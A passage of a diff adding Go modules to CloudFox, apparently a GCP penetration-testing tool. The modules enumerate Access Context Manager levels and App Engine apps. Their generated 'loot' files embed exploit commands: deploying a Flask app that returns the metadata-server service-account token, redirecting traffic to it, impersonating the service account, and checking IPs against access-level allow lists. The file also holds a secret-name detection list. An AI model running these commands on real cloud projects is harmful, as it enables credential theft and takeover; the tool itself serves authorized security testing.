fmt.Sprintf("Could not list access levels for org %s", orgID))
|
||||
return
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.OrgAccessLevels[orgID] = levels
|
||||
for _, level := range levels {
|
||||
m.addToLoot(orgID, level)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
func (m *AccessLevelsModule) addToLoot(orgID string, level accesspolicyservice.AccessLevelInfo) {
|
||||
if lootFile := m.LootMap[orgID]["access-levels-details"]; lootFile != nil {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# =============================================================================\n"+
|
||||
"# ACCESS LEVEL: %s\n"+
|
||||
"# =============================================================================\n"+
|
||||
"# Title: %s\n"+
|
||||
"# Policy: %s\n"+
|
||||
"# Combining Function: %s\n"+
|
||||
"# Conditions: %d\n",
|
||||
level.Name, level.Title, level.PolicyName, level.CombiningFunction, len(level.Conditions))
|
||||
|
||||
// Condition details
|
||||
for i, condition := range level.Conditions {
|
||||
lootFile.Contents += fmt.Sprintf("# --- Condition %d ---\n", i+1)
|
||||
if len(condition.IPSubnetworks) > 0 {
|
||||
lootFile.Contents += fmt.Sprintf("# IP Subnets: %s\n", strings.Join(condition.IPSubnetworks, ", "))
|
||||
}
|
||||
if len(condition.Members) > 0 {
|
||||
lootFile.Contents += fmt.Sprintf("# Members: %s\n", strings.Join(condition.Members, ", "))
|
||||
}
|
||||
if len(condition.Regions) > 0 {
|
||||
lootFile.Contents += fmt.Sprintf("# Regions: %s\n", strings.Join(condition.Regions, ", "))
|
||||
}
|
||||
if condition.DevicePolicy != nil {
|
||||
lootFile.Contents += "# Device Policy: configured\n"
|
||||
}
|
||||
}
|
||||
|
||||
// Extract short level name for gcloud commands
|
||||
levelName := level.Name
|
||||
policyName := level.PolicyName
|
||||
|
||||
lootFile.Contents += fmt.Sprintf(`
|
||||
# === ENUMERATION COMMANDS ===
|
||||
|
||||
# Describe this access level:
|
||||
gcloud access-context-manager levels describe %s --policy=%s
|
||||
|
||||
# List all conditions for this access level:
|
||||
gcloud access-context-manager levels describe %s --policy=%s --format=json | jq '.basic.conditions'
|
||||
|
||||
# List all access levels in this policy:
|
||||
gcloud access-context-manager levels list --policy=%s
|
||||
|
||||
# === EXPLOIT COMMANDS ===
|
||||
|
||||
# Check if your current IP is allowed by this access level:
|
||||
curl -s ifconfig.me && echo " <- Check if this IP is in the allowed subnets above"
|
||||
|
||||
`, levelName, policyName,
|
||||
levelName, policyName,
|
||||
policyName)
|
||||
|
||||
// Add IP-specific bypass checks
|
||||
if len(level.Conditions) > 0 {
|
||||
for _, condition := range level.Conditions {
|
||||
if len(condition.IPSubnetworks) > 0 {
|
||||
lootFile.Contents += "# Test connectivity from allowed IP ranges (use with VPN/proxy):\n"
|
||||
for _, ip := range condition.IPSubnetworks {
|
||||
lootFile.Contents += fmt.Sprintf("# Allowed subnet: %s\n", ip)
|
||||
}
|
||||
lootFile.Contents += "\n"
|
||||
}
|
||||
if len(condition.Members) > 0 {
|
||||
lootFile.Contents += "# Members that can bypass this access level:\n"
|
||||
for _, member := range condition.Members {
|
||||
lootFile.Contents += fmt.Sprintf("# %s\n", member)
|
||||
}
|
||||
lootFile.Contents += "\n"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, condition := range level.Conditions {
|
||||
for _, ip := range condition.IPSubnetworks {
|
||||
if lootFile := m.LootMap[orgID]["access-levels-allowed-ips"]; lootFile != nil {
|
||||
lootFile.Contents += fmt.Sprintf("%s # %s\n", ip, level.Name)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (m *AccessLevelsModule) writeOutput(ctx context.Context, logger internal.Logger) {
|
||||
if m.Hierarchy != nil && !m.FlatOutput {
|
||||
m.writeHierarchicalOutput(ctx, logger)
|
||||
} else {
|
||||
m.writeFlatOutput(ctx, logger)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *AccessLevelsModule) getLevelsHeader() []string {
|
||||
return []string{"Org ID", "Name", "Title", "Policy", "Combining", "Conditions", "Device Policy"}
|
||||
}
|
||||
|
||||
func (m *AccessLevelsModule) getConditionsHeader() []string {
|
||||
return []string{"Org ID", "Level", "Condition", "IP Ranges", "Members", "Regions", "Device Requirements"}
|
||||
}
|
||||
|
||||
func (m *AccessLevelsModule) levelsToTableBody(levels []accesspolicyservice.AccessLevelInfo, orgID string) [][]string {
|
||||
var body [][]string
|
||||
for _, level := range levels {
|
||||
hasDevicePolicy := "No"
|
||||
for _, cond := range level.Conditions {
|
||||
if cond.DevicePolicy != nil {
|
||||
hasDevicePolicy = "Yes"
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
combiningFunc := level.CombiningFunction
|
||||
if combiningFunc == "" {
|
||||
combiningFunc = "AND"
|
||||
}
|
||||
|
||||
body = append(body, []string{
|
||||
orgID,
|
||||
level.Name,
|
||||
level.Title,
|
||||
level.PolicyName,
|
||||
combiningFunc,
|
||||
fmt.Sprintf("%d", len(level.Conditions)),
|
||||
hasDevicePolicy,
|
||||
})
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
func (m *AccessLevelsModule) conditionsToTableBody(levels []accesspolicyservice.AccessLevelInfo, orgID string) [][]string {
|
||||
var body [][]string
|
||||
for _, level := range levels {
|
||||
for i, cond := range level.Conditions {
|
||||
ipRanges := strings.Join(cond.IPSubnetworks, ", ")
|
||||
if ipRanges == "" {
|
||||
ipRanges = "(any)"
|
||||
}
|
||||
|
||||
members := strings.Join(cond.Members, ", ")
|
||||
if members == "" {
|
||||
members = "(any)"
|
||||
}
|
||||
|
||||
regions := strings.Join(cond.Regions, ", ")
|
||||
if regions == "" {
|
||||
regions = "(any)"
|
||||
}
|
||||
|
||||
deviceReqs := "(none)"
|
||||
if cond.DevicePolicy != nil {
|
||||
var reqs []string
|
||||
if cond.DevicePolicy.RequireScreenLock {
|
||||
reqs = append(reqs, "screen-lock")
|
||||
}
|
||||
if cond.DevicePolicy.RequireCorpOwned {
|
||||
reqs = append(reqs, "corp-owned")
|
||||
}
|
||||
if cond.DevicePolicy.RequireAdminApproval {
|
||||
reqs = append(reqs, "admin-approval")
|
||||
}
|
||||
if len(reqs) > 0 {
|
||||
deviceReqs = strings.Join(reqs, ", ")
|
||||
}
|
||||
}
|
||||
|
||||
body = append(body, []string{
|
||||
orgID,
|
||||
level.Name,
|
||||
fmt.Sprintf("%d", i+1),
|
||||
ipRanges,
|
||||
members,
|
||||
regions,
|
||||
deviceReqs,
|
||||
})
|
||||
}
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
func (m *AccessLevelsModule) buildTablesForOrg(orgID string) []internal.TableFile {
|
||||
var tableFiles []internal.TableFile
|
||||
|
||||
if levels, ok := m.OrgAccessLevels[orgID]; ok && len(levels) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: "access-levels",
|
||||
Header: m.getLevelsHeader(),
|
||||
Body: m.levelsToTableBody(levels, orgID),
|
||||
})
|
||||
|
||||
condBody := m.conditionsToTableBody(levels, orgID)
|
||||
if len(condBody) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: "access-level-conditions",
|
||||
Header: m.getConditionsHeader(),
|
||||
Body: condBody,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return tableFiles
|
||||
}
|
||||
|
||||
func (m *AccessLevelsModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
for orgID := range m.OrgAccessLevels {
|
||||
tableFiles := m.buildTablesForOrg(orgID)
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
if orgLoot, ok := m.LootMap[orgID]; ok {
|
||||
for _, loot := range orgLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
outputData.OrgLevelData[orgID] = AccessLevelsOutput{Table: tableFiles, Loot: lootFiles}
|
||||
}
|
||||
|
||||
pathBuilder := m.BuildPathBuilder()
|
||||
|
||||
err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_ACCESSLEVELS_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *AccessLevelsModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
|
||||
var tables []internal.TableFile
|
||||
|
||||
// Collect all org IDs
|
||||
var orgIDs []string
|
||||
for orgID := range m.OrgAccessLevels {
|
||||
orgIDs = append(orgIDs, orgID)
|
||||
}
|
||||
|
||||
// Build combined tables with org ID in each row
|
||||
var allLevelRows [][]string
|
||||
var allCondRows [][]string
|
||||
for orgID, levels := range m.OrgAccessLevels {
|
||||
allLevelRows = append(allLevelRows, m.levelsToTableBody(levels, orgID)...)
|
||||
allCondRows = append(allCondRows, m.conditionsToTableBody(levels, orgID)...)
|
||||
}
|
||||
|
||||
if len(allLevelRows) > 0 {
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "access-levels",
|
||||
Header: m.getLevelsHeader(),
|
||||
Body: allLevelRows,
|
||||
})
|
||||
}
|
||||
|
||||
if len(allCondRows) > 0 {
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "access-level-conditions",
|
||||
Header: m.getConditionsHeader(),
|
||||
Body: allCondRows,
|
||||
})
|
||||
}
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
for _, orgLoot := range m.LootMap {
|
||||
for _, loot := range orgLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
output := AccessLevelsOutput{Table: tables, Loot: lootFiles}
|
||||
|
||||
err := internal.HandleOutputSmart("gcp", m.Format, m.OutputDirectory, m.Verbosity, m.WrapTable,
|
||||
"org", orgIDs, orgIDs, m.Account, output)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_ACCESSLEVELS_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,828 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"google.golang.org/api/appengine/v1"
|
||||
)
|
||||
|
||||
// Module name constant
|
||||
const GCP_APPENGINE_MODULE_NAME string = "app-engine"
|
||||
|
||||
var GCPAppEngineCommand = &cobra.Command{
|
||||
Use: GCP_APPENGINE_MODULE_NAME,
|
||||
Aliases: []string{"appengine", "gae"},
|
||||
Short: "Enumerate App Engine applications and security configurations",
|
||||
Long: `Analyze App Engine applications for security configurations and potential issues.
|
||||
|
||||
Features:
|
||||
- Lists all App Engine services and versions
|
||||
- Identifies public services without authentication
|
||||
- Analyzes ingress settings and firewall rules
|
||||
- Detects environment variable secrets
|
||||
- Reviews service account configurations
|
||||
- Identifies deprecated runtimes
|
||||
- Analyzes traffic splitting configurations`,
|
||||
Run: runGCPAppEngineCommand,
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Data Structures
|
||||
// ------------------------------
|
||||
|
||||
type AppEngineApp struct {
|
||||
ProjectID string
|
||||
ID string
|
||||
LocationID string
|
||||
AuthDomain string
|
||||
DefaultHostname string
|
||||
ServingStatus string
|
||||
DefaultBucket string
|
||||
ServiceAccount string
|
||||
DispatchRules int
|
||||
FirewallRules int
|
||||
}
|
||||
|
||||
type AppEngineService struct {
|
||||
ProjectID string
|
||||
ID string
|
||||
AppID string
|
||||
Split map[string]float64
|
||||
DefaultURL string
|
||||
VersionCount int
|
||||
LatestVersion string
|
||||
}
|
||||
|
||||
type AppEngineVersion struct {
|
||||
ProjectID string
|
||||
ServiceID string
|
||||
ID string
|
||||
AppID string
|
||||
Runtime string
|
||||
Environment string
|
||||
ServingStatus string
|
||||
CreateTime string
|
||||
InstanceClass string
|
||||
Scaling string
|
||||
Network string
|
||||
VPCConnector string
|
||||
IngressSettings string
|
||||
EnvVarCount int
|
||||
SecretEnvVars int
|
||||
ServiceAccount string
|
||||
URL string
|
||||
DeprecatedRuntime bool
|
||||
DefaultSA bool
|
||||
Public bool
|
||||
}
|
||||
|
||||
type AppEngineFirewallRule struct {
|
||||
ProjectID string
|
||||
Priority int64
|
||||
Action string
|
||||
SourceRange string
|
||||
Description string
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Module Struct
|
||||
// ------------------------------
|
||||
type AppEngineModule struct {
|
||||
gcpinternal.BaseGCPModule
|
||||
|
||||
// Per-project data for hierarchical output
|
||||
ProjectApps map[string][]AppEngineApp
|
||||
ProjectServices map[string][]AppEngineService
|
||||
ProjectVersions map[string][]AppEngineVersion
|
||||
ProjectFirewallRules map[string][]AppEngineFirewallRule
|
||||
LootMap map[string]map[string]*internal.LootFile
|
||||
FoxMapperCache *gcpinternal.FoxMapperCache // FoxMapper cache for attack path analysis
|
||||
mu sync.Mutex
|
||||
|
||||
totalApps int
|
||||
totalServices int
|
||||
publicCount int
|
||||
secretsFound int
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Output Struct
|
||||
// ------------------------------
|
||||
type AppEngineOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (o AppEngineOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o AppEngineOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
// ------------------------------
|
||||
// Command Entry Point
|
||||
// ------------------------------
|
||||
func runGCPAppEngineCommand(cmd *cobra.Command, args []string) {
|
||||
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, GCP_APPENGINE_MODULE_NAME)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
module := &AppEngineModule{
|
||||
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
|
||||
ProjectApps: make(map[string][]AppEngineApp),
|
||||
ProjectServices: make(map[string][]AppEngineService),
|
||||
ProjectVersions: make(map[string][]AppEngineVersion),
|
||||
ProjectFirewallRules: make(map[string][]AppEngineFirewallRule),
|
||||
LootMap: make(map[string]map[string]*internal.LootFile),
|
||||
}
|
||||
|
||||
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Module Execution
|
||||
// ------------------------------
|
||||
func (m *AppEngineModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
// Get FoxMapper cache from context
|
||||
m.FoxMapperCache = gcpinternal.GetFoxMapperCacheFromContext(ctx)
|
||||
|
||||
logger.InfoM("Enumerating App Engine applications...", GCP_APPENGINE_MODULE_NAME)
|
||||
|
||||
aeService, err := appengine.NewService(ctx)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Failed to create App Engine service: %v", err), GCP_APPENGINE_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
var wg sync.WaitGroup
|
||||
for _, projectID := range m.ProjectIDs {
|
||||
wg.Add(1)
|
||||
go func(project string) {
|
||||
defer wg.Done()
|
||||
m.processProject(ctx, project, aeService, logger)
|
||||
}(projectID)
|
||||
}
|
||||
wg.Wait()
|
||||
|
||||
if m.totalApps == 0 {
|
||||
logger.InfoM("No App Engine applications found", GCP_APPENGINE_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
logger.SuccessM(fmt.Sprintf("Found %d App Engine app(s) with %d service(s) and %d version(s)",
|
||||
m.totalApps, m.totalServices, len(m.getAllVersions())), GCP_APPENGINE_MODULE_NAME)
|
||||
|
||||
if m.publicCount > 0 {
|
||||
logger.InfoM(fmt.Sprintf("Found %d public service(s) without authentication", m.publicCount), GCP_APPENGINE_MODULE_NAME)
|
||||
}
|
||||
|
||||
if m.secretsFound > 0 {
|
||||
logger.InfoM(fmt.Sprintf("Found %d potential secret(s) in environment variables", m.secretsFound), GCP_APPENGINE_MODULE_NAME)
|
||||
}
|
||||
|
||||
m.writeOutput(ctx, logger)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Project Processor
|
||||
// ------------------------------
|
||||
func (m *AppEngineModule) processProject(ctx context.Context, projectID string, aeService *appengine.APIService, logger internal.Logger) {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Enumerating App Engine for project: %s", projectID), GCP_APPENGINE_MODULE_NAME)
|
||||
}
|
||||
|
||||
app, err := aeService.Apps.Get(projectID).Do()
|
||||
if err != nil {
|
||||
if !strings.Contains(err.Error(), "404") {
|
||||
m.CommandCounter.Error++
|
||||
gcpinternal.HandleGCPError(err, logger, GCP_APPENGINE_MODULE_NAME,
|
||||
fmt.Sprintf("Could not get App Engine app in project %s", projectID))
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.totalApps++
|
||||
|
||||
// Initialize loot for this project
|
||||
if m.LootMap[projectID] == nil {
|
||||
m.LootMap[projectID] = make(map[string]*internal.LootFile)
|
||||
m.LootMap[projectID]["appengine-commands"] = &internal.LootFile{
|
||||
Name: "appengine-commands",
|
||||
Contents: "# App Engine Commands\n" +
|
||||
"# Generated by CloudFox\n" +
|
||||
"# WARNING: Only use with proper authorization\n\n",
|
||||
}
|
||||
}
|
||||
|
||||
// Add app-level enumeration and exploit commands to loot
|
||||
m.addAppToLoot(projectID, app.Id, app.DefaultHostname, app.LocationId, app.ServiceAccount)
|
||||
m.mu.Unlock()
|
||||
|
||||
appRecord := AppEngineApp{
|
||||
ProjectID: projectID,
|
||||
ID: app.Id,
|
||||
LocationID: app.LocationId,
|
||||
AuthDomain: app.AuthDomain,
|
||||
DefaultHostname: app.DefaultHostname,
|
||||
ServingStatus: app.ServingStatus,
|
||||
DefaultBucket: app.DefaultBucket,
|
||||
ServiceAccount: app.ServiceAccount,
|
||||
}
|
||||
|
||||
if app.DispatchRules != nil {
|
||||
appRecord.DispatchRules = len(app.DispatchRules)
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.ProjectApps[projectID] = append(m.ProjectApps[projectID], appRecord)
|
||||
m.mu.Unlock()
|
||||
|
||||
m.enumerateServices(ctx, projectID, aeService, logger)
|
||||
m.enumerateFirewallRules(ctx, projectID, aeService, logger)
|
||||
}
|
||||
|
||||
func (m *AppEngineModule) enumerateServices(ctx context.Context, projectID string, aeService *appengine.APIService, logger internal.Logger) {
|
||||
services, err := aeService.Apps.Services.List(projectID).Do()
|
||||
if err != nil {
|
||||
m.CommandCounter.Error++
|
||||
gcpinternal.HandleGCPError(err, logger, GCP_APPENGINE_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate App Engine services in project %s", projectID))
|
||||
return
|
||||
}
|
||||
|
||||
for _, svc := range services.Services {
|
||||
m.mu.Lock()
|
||||
m.totalServices++
|
||||
m.mu.Unlock()
|
||||
|
||||
serviceRecord := AppEngineService{
|
||||
ProjectID: projectID,
|
||||
ID: svc.Id,
|
||||
AppID: projectID,
|
||||
}
|
||||
|
||||
if svc.Split != nil {
|
||||
serviceRecord.Split = svc.Split.Allocations
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.ProjectServices[projectID] = append(m.ProjectServices[projectID], serviceRecord)
|
||||
m.mu.Unlock()
|
||||
|
||||
ingressSettings := "all"
|
||||
if svc.NetworkSettings != nil && svc.NetworkSettings.IngressTrafficAllowed != "" {
|
||||
ingressSettings = svc.NetworkSettings.IngressTrafficAllowed
|
||||
}
|
||||
|
||||
m.enumerateVersions(ctx, projectID, svc.Id, ingressSettings, aeService, logger)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *AppEngineModule) enumerateVersions(ctx context.Context, projectID, serviceID, ingressSettings string, aeService *appengine.APIService, logger internal.Logger) {
|
||||
versions, err := aeService.Apps.Services.Versions.List(projectID, serviceID).Do()
|
||||
if err != nil {
|
||||
m.CommandCounter.Error++
|
||||
gcpinternal.HandleGCPError(err, logger, GCP_APPENGINE_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate App Engine versions for service %s", serviceID))
|
||||
return
|
||||
}
|
||||
|
||||
for _, ver := range versions.Versions {
|
||||
versionRecord := AppEngineVersion{
|
||||
ProjectID: projectID,
|
||||
ServiceID: serviceID,
|
||||
ID: ver.Id,
|
||||
AppID: projectID,
|
||||
Runtime: ver.Runtime,
|
||||
Environment: ver.Env,
|
||||
ServingStatus: ver.ServingStatus,
|
||||
CreateTime: ver.CreateTime,
|
||||
IngressSettings: ingressSettings,
|
||||
ServiceAccount: ver.ServiceAccount,
|
||||
URL: ver.VersionUrl,
|
||||
}
|
||||
|
||||
if ver.InstanceClass != "" {
|
||||
versionRecord.InstanceClass = ver.InstanceClass
|
||||
}
|
||||
|
||||
if ver.Network != nil {
|
||||
versionRecord.Network = ver.Network.Name
|
||||
}
|
||||
|
||||
if ver.VpcAccessConnector != nil {
|
||||
versionRecord.VPCConnector = ver.VpcAccessConnector.Name
|
||||
}
|
||||
|
||||
// Scaling type
|
||||
if ver.AutomaticScaling != nil {
|
||||
versionRecord.Scaling = "automatic"
|
||||
} else if ver.BasicScaling != nil {
|
||||
versionRecord.Scaling = "basic"
|
||||
} else if ver.ManualScaling != nil {
|
||||
versionRecord.Scaling = "manual"
|
||||
}
|
||||
|
||||
// Check for deprecated runtime
|
||||
versionRecord.DeprecatedRuntime = m.isDeprecatedRuntime(ver.Runtime)
|
||||
|
||||
// Check environment variables for secrets
|
||||
if ver.EnvVariables != nil {
|
||||
versionRecord.EnvVarCount = len(ver.EnvVariables)
|
||||
secretCount := m.analyzeEnvVars(ver.EnvVariables, serviceID, ver.Id, projectID)
|
||||
versionRecord.SecretEnvVars = secretCount
|
||||
}
|
||||
|
||||
// Check ingress settings for public access
|
||||
if versionRecord.IngressSettings == "all" || versionRecord.IngressSettings == "INGRESS_TRAFFIC_ALLOWED_ALL" {
|
||||
versionRecord.Public = true
|
||||
m.mu.Lock()
|
||||
m.publicCount++
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
// Check for default service account
|
||||
if versionRecord.ServiceAccount == "" || strings.Contains(versionRecord.ServiceAccount, "@appspot.gserviceaccount.com") {
|
||||
versionRecord.DefaultSA = true
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.ProjectVersions[projectID] = append(m.ProjectVersions[projectID], versionRecord)
|
||||
m.mu.Unlock()
|
||||
}
|
||||
}
|
||||
|
||||
func (m *AppEngineModule) enumerateFirewallRules(ctx context.Context, projectID string, aeService *appengine.APIService, logger internal.Logger) {
|
||||
rules, err := aeService.Apps.Firewall.IngressRules.List(projectID).Do()
|
||||
if err != nil {
|
||||
m.CommandCounter.Error++
|
||||
gcpinternal.HandleGCPError(err, logger, GCP_APPENGINE_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate App Engine firewall rules in project %s", projectID))
|
||||
return
|
||||
}
|
||||
|
||||
for _, rule := range rules.IngressRules {
|
||||
fwRule := AppEngineFirewallRule{
|
||||
ProjectID: projectID,
|
||||
Priority: rule.Priority,
|
||||
Action: rule.Action,
|
||||
SourceRange: rule.SourceRange,
|
||||
Description: rule.Description,
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.ProjectFirewallRules[projectID] = append(m.ProjectFirewallRules[projectID], fwRule)
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
for i := range m.ProjectApps[projectID] {
|
||||
if m.ProjectApps[projectID][i].ProjectID == projectID {
|
||||
m.ProjectApps[projectID][i].FirewallRules = len(rules.IngressRules)
|
||||
break
|
||||
}
|
||||
}
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
func (m *AppEngineModule) addAppToLoot(projectID, appID, defaultHostname, locationID, serviceAccount string) {
|
||||
lootFile := m.LootMap[projectID]["appengine-commands"]
|
||||
if lootFile == nil {
|
||||
return
|
||||
}
|
||||
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# =============================================================================\n"+
|
||||
"# APP ENGINE: %s\n"+
|
||||
"# =============================================================================\n"+
|
||||
"# Project: %s\n"+
|
||||
"# Location: %s\n"+
|
||||
"# Default Hostname: %s\n"+
|
||||
"# Service Account: %s\n",
|
||||
appID, projectID, locationID, defaultHostname, serviceAccount,
|
||||
)
|
||||
|
||||
lootFile.Contents += fmt.Sprintf(`
|
||||
# === ENUMERATION COMMANDS ===
|
||||
|
||||
# Describe app:
|
||||
gcloud app describe --project=%s
|
||||
|
||||
# List services:
|
||||
gcloud app services list --project=%s
|
||||
|
||||
# List versions for all services:
|
||||
gcloud app versions list --project=%s
|
||||
|
||||
# List firewall rules:
|
||||
gcloud app firewall-rules list --project=%s
|
||||
|
||||
# Describe specific service:
|
||||
gcloud app services describe default --project=%s
|
||||
|
||||
# View application logs:
|
||||
gcloud app logs read --project=%s --limit=50
|
||||
|
||||
# List dispatch rules:
|
||||
gcloud app describe --project=%s --format=json | jq '.dispatchRules'
|
||||
|
||||
# === EXPLOIT COMMANDS ===
|
||||
|
||||
# Deploy a new version (code execution as App Engine SA: %s):
|
||||
# Create a minimal app.yaml:
|
||||
cat > /tmp/app.yaml << 'APPEOF'
|
||||
runtime: python39
|
||||
instance_class: F1
|
||||
handlers:
|
||||
- url: /.*
|
||||
script: auto
|
||||
APPEOF
|
||||
cat > /tmp/main.py << 'MAINEOF'
|
||||
import requests, json
|
||||
from flask import Flask
|
||||
app = Flask(__name__)
|
||||
@app.route('/')
|
||||
def index():
|
||||
r = requests.get('http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token', headers={'Metadata-Flavor': 'Google'})
|
||||
return json.dumps(r.json())
|
||||
MAINEOF
|
||||
gcloud app deploy /tmp/app.yaml --project=%s --quiet --no-promote
|
||||
|
||||
# Deploy to a specific service:
|
||||
gcloud app deploy /tmp/app.yaml --project=%s --service=cloudfox-test --quiet --no-promote
|
||||
|
||||
# Set traffic to new malicious version:
|
||||
gcloud app services set-traffic default --splits=VERSION_ID=1 --project=%s
|
||||
|
||||
# SSH to App Engine Flex instance (only for flex environment):
|
||||
gcloud app instances ssh INSTANCE_ID --service=SERVICE --version=VERSION --project=%s
|
||||
|
||||
# Access default URL:
|
||||
curl https://%s
|
||||
|
||||
# Impersonate App Engine default service account:
|
||||
gcloud auth print-access-token --impersonate-service-account=%s
|
||||
|
||||
`,
|
||||
projectID, projectID, projectID, projectID, projectID, projectID, projectID,
|
||||
serviceAccount,
|
||||
projectID, projectID, projectID, projectID,
|
||||
defaultHostname, serviceAccount,
|
||||
)
|
||||
}
|
||||
|
||||
func (m *AppEngineModule) analyzeEnvVars(envVars map[string]string, serviceID, versionID, projectID string) int {
|
||||
secretPatterns := []string{
|
||||
"PASSWORD", "SECRET", "API_KEY", "TOKEN", "PRIVATE_KEY",
|
||||
"DATABASE_URL", "DB_PASSWORD", "MYSQL_PASSWORD", "POSTGRES_PASSWORD",
|
||||
"MONGODB_URI", "AWS_SECRET", "ENCRYPTION_KEY", "JWT_SECRET", "SESSION_SECRET",
|
||||
}
|
||||
|
||||
secretCount := 0
|
||||
|
||||
for name := range envVars {
|
||||
nameUpper := strings.ToUpper(name)
|
||||
for _, pattern := range secretPatterns {
|
||||
if strings.Contains(nameUpper, pattern) {
|
||||
secretCount++
|
||||
m.mu.Lock()
|
||||
m.secretsFound++
|
||||
|
||||
if lootFile := m.LootMap[projectID]["appengine-commands"]; lootFile != nil {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Potential secret in env var: %s (service: %s, version: %s)\n"+
|
||||
"# Recommendation: Migrate to Secret Manager\n"+
|
||||
"gcloud app versions describe %s --service=%s --project=%s\n\n",
|
||||
name, serviceID, versionID,
|
||||
versionID, serviceID, projectID,
|
||||
)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return secretCount
|
||||
}
|
||||
|
||||
func (m *AppEngineModule) isDeprecatedRuntime(runtime string) bool {
|
||||
deprecatedRuntimes := []string{
|
||||
"python27", "go111", "go112", "go113", "java8", "java11",
|
||||
"nodejs10", "nodejs12", "php55", "php72", "ruby25",
|
||||
}
|
||||
|
||||
for _, deprecated := range deprecatedRuntimes {
|
||||
if runtime == deprecated {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Output Generation
|
||||
// ------------------------------
|
||||
func (m *AppEngineModule) writeOutput(ctx context.Context, logger internal.Logger) {
|
||||
// Decide between hierarchical and flat output
|
||||
if m.Hierarchy != nil && !m.FlatOutput {
|
||||
m.writeHierarchicalOutput(ctx, logger)
|
||||
} else {
|
||||
m.writeFlatOutput(ctx, logger)
|
||||
}
|
||||
}
|
||||
|
||||
// getAllVersions returns all versions from all projects
|
||||
func (m *AppEngineModule) getAllVersions() []AppEngineVersion {
|
||||
var all []AppEngineVersion
|
||||
for _, versions := range m.ProjectVersions {
|
||||
all = append(all, versions...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
